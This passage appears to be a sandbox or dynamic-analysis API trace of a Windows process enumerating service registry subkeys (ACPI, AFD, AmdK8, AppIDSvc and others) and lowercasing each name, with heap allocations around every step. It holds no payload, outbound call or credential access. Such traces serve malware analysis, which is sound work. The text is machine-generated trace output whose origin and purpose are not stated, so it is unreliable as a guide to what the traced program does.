lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0238.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0238.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0238.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.218] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0238.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0238.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.218] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0238.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0238.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a48, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0238.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.219] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0238.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0238.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.219] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0238.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0238.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.219] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0238.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0238.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.220] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0238.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0238.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0238.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.220] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0238.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0238.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1da8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0238.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.220] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0238.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0238.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0238.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.220] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0238.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0238.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0238.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.221] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0238.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0238.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0238.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.221] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0238.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0238.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0238.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.221] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0238.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0238.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0238.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.221] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0238.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0238.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0238.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.222] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0238.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0238.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0238.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.222] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0238.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0238.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.222] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0238.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0238.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0238.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.223] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0238.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0238.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.223] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0238.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0238.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0238.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.223] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0238.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0238.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.223] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0238.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.224] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0238.224] RtlAllocateHeap (HeapHandle=0x2520000, 